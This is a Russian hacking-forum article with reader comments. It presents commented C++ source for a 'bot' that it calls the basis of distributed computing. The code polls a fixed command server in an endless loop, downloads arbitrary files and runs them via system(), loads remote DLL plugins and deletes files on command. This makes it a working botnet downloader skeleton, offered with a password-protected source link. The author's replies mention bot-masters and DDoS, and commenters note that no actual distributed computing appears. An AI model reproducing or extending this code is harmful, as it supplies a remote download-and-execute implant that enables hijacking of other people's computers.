Введение. Данный материал рассматривает процесс создания программного обеспечения, реализующего распределенные вычисления. Будучи рассчитанным на невысокий уровень подготовки читателя, он не претендует на открытие чего-либо нового. Автор попытался поэтапно описать процесс создания программы с наиболее детальными комментариями к коду и объяснить значение каждой команды в листингах. Гуру программирования получат отличную площадку для критики и возможность предложить свои идеи, касающиеся оптимизации кода. О виновнике торжества. Точнее - о виновниках. Распределенные вычисления - способ решения трудоёмких вычислительных задач с использованием двух или более компьютеров, объединённых в сеть. В свою очередь, эта сеть компьютеров называется ботнетом (более подробную информацию можно получить, перейдя по ссылке в конце статьи). В настоящее время под «ботнетом» в большинстве случаев понимается сеть компьютеров, зараженных вредоносным программным обеспечением – ботом. Однако, принцип любого ботнета – это прежде всего какие-либо распределенные действия, поэтому автор материала предлагает читателям абстрагироваться от понятия «ботнет» и приступить к разработке необходимого для организации распределенных вычислений ПО. Шаг первый. С первого шага начинается путешествие в тысячу ли (с) (Лао-Цзы). Нашим отправным пунктом станет проектирование программы (чтобы не повторяться, назовем ее «ботом»). Бот должен уметь: 1. получать команду от сервера; 2. обрабатывать команду, т. е. классифицировать ее на «известную» или «неизвестную» и соответствующим образом обрабатывать ее параметры; 3. выполнять команду. За кажущейся примитивностью наших требований скрывается много подводных камней. Например, как бот будет узнавать о новых командах? Для этого появляется еще одно требование: программа должна поддерживать плагины. На плюсах плагинной технологии заострять внимание нет смысла, т. к. очевидно, что расширяемость программы и ее модернизация в нашем случае окажется полезной. Теперь перейдем к практической части, разбавленной теоретическими выкладками. Шаг второй. Создаем соединение и получаем команды. При написании программы использовалась среда программирования MS Visual Studio 2008. Чтобы не заниматься рутиной (имеется в виду работа с сокетами), воспользуемся стандартной библиотекой, которая присутствует в Windows: wininet.dll. Данная DLL представляет собой API для доступа к общим протоколам интернет, включая FTP, HTTP и Gopher. Это высокоуровневый API, позволяющий, в отличие от WinSock или TCP/IP, не заботиться о деталях реализации соответствующих интернет протоколов. Кстати, именно ее использует MS Internet Explorer. Если с инструментами все понятно, то детали, касающиеся алгоритма работы программы, требуют пояснения. Пусть команды, предназначенные боту, находятся на сервере в файле command.txt. Тогда для получения команд бот должен периодически соединяться с сервером и скачивать указанный файл. Следующий листинг демонстрирует описанные действия: Code: //httpd.cpp //Реализация скачивания файла #include <windows.h> #include <wininet.h> #pragma comment(lib,"wininet")//подключаем библиотеку WinInet void HTTPDownload(char *FileUrl, char *FileName)//передаются параметры: путь к файлу на сервере, имя файла для сохранения результата запроса { BYTE bBuffer[4096]; DWORD dCount=0; HANDLE hOutputFile; hOutputFile = CreateFile(//создание файла, в который сохраняются результаты запроса FileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_FLAG_WRITE_THROUGH | FILE_FLAG_SEQUENTIAL_SCAN, NULL); HINTERNET hInternet = InternetOpen( //инициализация библиотеки WinInet.dll (получение дескриптора соединения) "DLLDownloader",//параметр, который определяет информацию в поле "User Agent" INTERNET_OPEN_TYPE_PRECONFIG,//тип доступа (прямой или прокси); параметр по умолчанию (настройки из реестра) NULL, NULL, 0); if(hInternet !=NULL) { HINTERNET hRequest = InternetOpenUrl(//создание и отправка запроса серверу (получение дескриптора сессии) hInternet,//дескриптор соединения FileUrl,//путь к скачиваемому файлу на сервере 0, 0, 0, 0); if(hRequest != NULL) { do { BOOL bSend = InternetReadFile(//чтение результата запроса hRequest,//дескриптор сессии bBuffer,//адрес буфера, содержащего скачиваемые данные sizeof(bBuffer),//размер буфера &dCount);//количество скачиваемых байт WriteFile(hOutputFile, bBuffer, dCount, &dCount, 0);//запись результата запроса в файл } while (dCount == 4096); } InternetCloseHandle(hRequest);//закрытие запроса } InternetCloseHandle(hInternet);//закрытие соединения CloseHandle(hOutputFile);//закрытие файла } Шаг третий. Обрабатываем командный файл и подключаем необходимые DLL. Под обработкой командного файла автор подразумевает действие программы, в результате которого бот получает две строки: название команды и строка, содержащая параметры этой команды (перечисленные через символ пробела). Командный файл имеет следующую структуру команды: <команда(1)> [параметр(1)] [параметр(2)] … [параметр(i)] <команда(2)> [параметр(1)] [параметр(2)] … [параметр(j)] … <команда(k)> [параметр(1)] [параметр(2)] … [параметр(n)] где i, j, k меняются в интервале (1; бесконечность). Действия бота следующие: 1. выделение k-ой строки; 2. передача выделенной строки в функцию, которая реализует подключение библиотеки, необходимой для выполнения команды (в листинге – функция PlugLibrary); 3. PlugLibrary сама разделяет строку на команду и параметры и выполняет необходимое действие, зависящие от типа команды. Первые 2 пункта реализованы в следующей функции: Code: //parse.cpp //Реализация обработчика (парсера) командных файлов #include <windows.h> #include "pluglib.h"//подключение заголовочного файла, содержащего прототип функции "PlugLibrary" void Parse(char *FileName)//передача имени командного файла { DWORD dwCount=0; char cCurrentSymbol; int iCount=0; char Command[256];//максимальный рамер строки в командном файле HANDLE hFile=CreateFile(//открытие командного файла FileName, GENERIC_READ,//открытие в режиме чтения FILE_SHARE_READ,//разрешение доступа к файлу для нескольких процессов NULL, OPEN_EXISTING,//открытие существующего файла 0, NULL); //чтение содержимого командного файла while (true) { ReadFile(//чтение данных hFile,//дескриптор файла, полученный при открытии &cCurrentSymbol,//адрес буфера для считываемого символа 1,//размер буфера для считываемого символа &dwCount,//количество прочитанных байт NULL); if (dwCount==0) break; if (cCurrentSymbol=='\n')//обнаружение перехода на следующую строку { Command[iCount]='\0';//создание строки PlugLibrary(Command);//передача строки для выполнения iCount=0; } else { Command[iCount]=cCurrentSymbol;//добавление прочитанного символа к массиву символов iCount++; } } CloseHandle(hFile);//закрытие файла } Функция PlugLibrary отделяет команду от параметров. Далее, в зависимости от типа команды, функция выполняет одно из следующих действий: 1. Удаление известной команды (фактически: удаление библиотеки, в которой реализована команда). 2. Загрузка файла. Если файл является DLL, то подключение этой библиотеки; если является исполняемым файлом или т.п., то запуск этого файла. 3. Если известная команда, то подключение ее библиотеки и запуск. Код рассмотренной функции приведен ниже. Code: //pluglib.cpp //Реализация выполнения команд #include <windows.h> #include "httpd.h"//подключение заголовочного файла, содержащего прототип функции "HTTPDownload" void Delete(char *FileName)//функция-обработчик команды "delete"; передача имени удаляемой библиотеки (каманды) { WIN32_FIND_DATA wfd;//структура (буфер), получающая информацию о найденном файле HANDLE hFind = FindFirstFile(FileName, &wfd);//функция поиска файла; возвращение дескриптора найденного файла в переменную hFind if (INVALID_HANDLE_VALUE != hFind)//если файл обнаружен { CloseHandle(hFind);//закрытие дескриптора файла (в целях экономии системных ресурсов) //подключение библиотеки //если библиотека уже была подключена, функция "LoadLibrary" возвращает дескриптор уже подключенной библиотеки HINSTANCE hPlugin; hPlugin = LoadLibrary(FileName);//подключение библиотеки //выгружение библиотеки //использование функции "FreeLibrary" повторно необходимо для закрытия дескриптора, который был получен ренее в процессе выполнения программы FreeLibrary(hPlugin); FreeLibrary(hPlugin); DeleteFile(FileName);//удаление библиотеки } } int PlugLibrary(char *CommandLine)//функция-обработчик команд; передача строки, содержащей команду и ее параметры { char DllName[30], Parametrs[225];//массивы, содержащие имя команды и параметры к этой команде соответственно HINSTANCE hPlugin; int i=0, j=0; //выделение команды (имени запускаемой библиотеки) из строки CommandLine while (CommandLine[i]!=' ') { DllName[i]=CommandLine[i]; i++; } DllName[i]='\0';//создание строки, содержащей имя команды i++; //если команда "load" if ((DllName[0]=='l')&&(DllName[1]=='o')&&(DllName[2]=='a')&&(DllName[3]=='d')&&(DllName[4]=='\0')) { //выделение строки с параметрами while (CommandLine[i]!='\0') { Parametrs[j]=CommandLine[i]; i++; j++; } Parametrs[j-1]='\0';//создание строки, содержащей параметры int k=0;//счетчик количества параметров j=0; i=0; char cParametr[2][250];//параметры команды "load" while (Parametrs[i]!='\0')//обработка параметров { //выделение i-го параметра if (Parametrs[i]!=' ') { cParametr[k][j]=Parametrs[i]; i++; j++; } else { cParametr[k][j]='\0';//создание строки, содержащей k-й параметр k++; i++; j=0; } } cParametr[k][j]='\0';//создание строки, содержащей последний найденный параметр //если последний параметр функции "load" не является библиотекой if ((cParametr[1][j-1]!='l')&&(cParametr[1][j-2]!='l')&&(cParametr[1][j-3]!='d')) { HTTPDownload(cParametr[0],cParametr[1]); //скачивание файла system(cParametr[1]);//запуск файла return 0; } else { HTTPDownload(cParametr[0],cParametr[1]); return 0; } } //если команда "delete" if ((DllName[0]=='d')&&(DllName[1]=='e')&&(DllName[2]=='l')&&(DllName[3]=='e')&&(DllName[4]=='t')&&(DllName[5]=='e')&&(DllName[6]=='\0')) { while (CommandLine[i]!='\0')//выделение строки с параметром { Parametrs[j]=CommandLine[i]; i++; j++; } Parametrs[j-1]='\0'; Delete(Parametrs);//вызов функции удаления файла (команды) return 0; } //если передана произвольная команда while (CommandLine[i]!='\0') { Parametrs[j]=CommandLine[i]; i++; j++; } Parametrs[j-1]='\0'; hPlugin = LoadLibrary(DllName);//подключение библиотеки (получение дескриптора), обрабатывающей данную команду typedef int (*DefType)(char *);//определение типа (DefType), который будет объявлять указатель на функцию, принимающую указатель на символьный буфер и выдающую значение типа int DefType Load = (DefType) GetProcAddress(hPlugin,"Load");//определение адреса функции "Load", которую экспортирует библиотека int iCode=(*Load)(Parametrs);//вызов функции "Load" и передача параметров этой функции return 0; } Шаг четвертый. Главная функция. Code: //main.cpp //Реализация основной функции #pragma comment(linker,"/ENTRY:main")//указание линкеру точки входа в программу (в целях уменьшения размера исполняемого файла) #include <windows.h> #include "httpd.h"//подключение заголовочного файла, содержащего прототип функции "HTTPDownload" #include "parse.h"//подключение заголовочного файла, содержащего прототип функции "Parse" void main() { do { HTTPDownload("http://www.gate.ru/command.txt","command.txt"); Parse ("command.txt"); DeleteFile("command.txt"); } while (true); } Комментарии говорят сами за себя. Стоит отметить, что функция периодически скачивает и проверяет командный файл. Немного о DLL. Стоит немного рассказать об интерфейсе подключения библиотеки, содержащей реализацию команды, к программе. Так как заранее неизвестно, сколько параметров потребуется той или иной команде (имеется ввиду в процессе разработки главного исполняемого файла), в каждой DLL происходит обработка строки с параметрами, т. е. осуществляется запись каждого параметра в массив, который, в свою очередь, DLL использует так как ей необходимо. В проекте, прилагаемом к статье, в качестве примера подключаемой DLL содержится библиотека, которая выводит MessageBox с заданными параметрами окна. Заключение. В статье были рассмотрены некоторые аспекты создания программного обеспечения, которое является основой для организации сети распределенных вычислений (также известной как «ботнет»). В качестве концепта, к материалу прилагается проект для MS Visual Studio 2008. В проекте, помимо описанных действий, реализована многопоточность, т. е. для каждой подключаемой библиотеки создается свой поток, реализовано управление пулом потоков. Тема многопоточности выходит за рамки данной статьи, поэтому автор предпочел не указывать код, реализующий работу потоков, в листингах. В заключение, хотелось бы отметить, ПО, рассмотренное в статье, никоим образом не рассчитано на деструктивные действия. Более того, сферы применения исходных кодов ограничиваются лишь фантазией программиста. http://depositfiles.com/files/pafpobeir - исходные коды рассмотренного программного обеспечения (пароль: antichat.ru). Полезные ссылки. _http://www.viruslist.com/ru/analysis?pubid=204007610 – подробная информация о ботнетах. _https://forum.antichat.ru/thread49663.html - система распределенных вычислений BruteNet (автор: ZaCo). _http://distributed.ru/wiki/what-is - распределенные вычисления и проекты, связанные с ними. (c) c0n Difesa (defec.ru) специально для antichat.ru
Статья интересная, спасибо. И ссылки полезные. Давно искал что-нибудь толковое по теме распределенных вычислений. Ждем обновлений и добавлений
Исходник, который стягивает файл в определённый промежуток времени разбирает строки и что-то вызывает... ПРИ ЧЁМ ТУТ РАСПРЕДЕЛЁННЫЕ ВЫЧИСЛЕНИЯ? Тут не расписано как основная трудоёмкая задача разделяется на равные порции микрозадач, как микрозадачи распределяются между участниками, как участники отдают сделанные части, как проверяется правильность результата... В общем задача из разряда "как стянуть и распарсить файл", никаких распределёных вычислений тут нет.
groundhog +1 ТС, я ожидал увидеть тут разделение и контроль выполнения заданий для распределенных вычислений, сбор и анализ статистики скорости работы отдельного модуля для сбалансированного разделения заданий на порции. Незачёт, тема вообще не раскрыта.
Полностью согласен. Однако скажу несколько слов по поводу статьи. Любое действие, осуществляемое посредством ботнета, является в той или иной степени распределенным, даже не смотря на то, что трудоемкая задача не разделяется явно на порции микрозадач. Например, DDoS. Несмотря на приставку distributed, задача непосредственно не делится (в подавляющем большинстве атак) на порции. Тут может возникнуть одно НО по поводу слова «вычисления». В статье ничего не вычислялось в прямом смысле этого слова, однако создавалась база для организации этих вычислений (имеется ввиду плагинная технология). Ничто не мешает бот-мастеру написать библиотеку, вычисляющую, к примеру, MD5, и, зная интерфейс подключения плагинов, подключить ее к ядру (более того, это уже прекрасно сделано и описано за меня - рекомендую обратиться к ссылкам). Помимо всего прочего, потребуется написать едва ли не превышающую по объему серверную часть, отвечающую за разбивание задачи на порции и организующую раздачу этих порций ботом. Обращаю Ваше внимание на то, что в самом начале статьи я указал, на кого она рассчитана, тем самым избавив себя от рассмотрения вышеперечисленных вещей. Тема распределенных вычислений настолько обширна, что с трудом поддается классификации, поэтому неудивительно, что материал не совпадает с вашими ожиданиями.
Надеюсь, долго ждать не пришлось: http://forum.antichat.ru/thread120114.html. Материал предполагался как дополнение, но получилась отдельная статья, в которой я постарался учесть Ваши замечания, касающиеся распределения задачи.
Я так полагаю под распределенными вычислениями подразумевается: - разбиение задачи ее владельцем на несколько этапов - выполнение различных этапов разными исполнителями - передача результата от исполнителя владельцу, который на основании полученного результата принимает решение о завершении задачи или продолжении ее распределенного выполнения исполнителями с учетом полученных результатов - передача исполнителю задания должна зависить от множества факторов, в частности от результата выполнения части задачи другим исполнителем Ничего из указанного в : нету
Да, в данном материале нет расределенных вычислений, но тут описана база, которую можно использовать для их организации и реализации. http://forum.antichat.ru/thread120114.html - здесь описана разработка системы с учетом Ваших предложений.